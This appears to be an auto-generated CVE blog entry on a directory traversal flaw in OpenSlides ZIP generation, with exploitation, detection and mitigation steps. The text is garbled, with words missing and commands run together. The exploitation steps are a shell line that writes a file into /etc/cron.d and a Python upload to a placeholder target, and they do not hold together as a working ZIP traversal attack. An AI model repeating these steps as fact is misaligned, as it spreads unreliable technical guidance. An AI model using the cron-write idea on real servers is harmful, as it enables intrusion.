How CVE-2025-30343 Works
CVE-2025-30343 is a critical directory traversal vulnerability in OpenSlides versions before 4.2.5. The flaw occurs when processing file or folder s during ZIP archive generation. Attackers can manipulate s with path traversal sequences (e.g., ../../../etc/passwd). When a user downloads and extracts the malicious ZIP, the extraction tool may write files outside the intended directory, potentially overwriting critical system files. The vulnerability stems from insufficient sanitization of user-supplied input before incorporating it into filesystem paths.
DailyCVE Form
Platform: OpenSlides
Version: <4.2.5
Vulnerability: Directory Traversal
Severity: Critical
Date: 03/27/2025
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
mkdir -p "payload/../../../etc" echo "malicious_content" > "payload/../../../etc/cron.d/exploit"
2. Upload & Trigger ZIP:
import requests
requests.post("https://target/upload", files={"file": open("payload", "rb")})
Detection
1. Check Server Logs:
grep "zip_download.../" /var/log/openslides/access.log
2. File Integrity Monitoring:
tripwire --check
Mitigation
1. Patch Upgrade:
apt update && apt install openslides=4.2.5
2. Input Sanitization:
import os safe_name = os.path.basename(user_input)
3. Restrict Filesystem Access:
chroot /var/lib/openslides
References
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-30343
Extra Source Hub:
Undercode
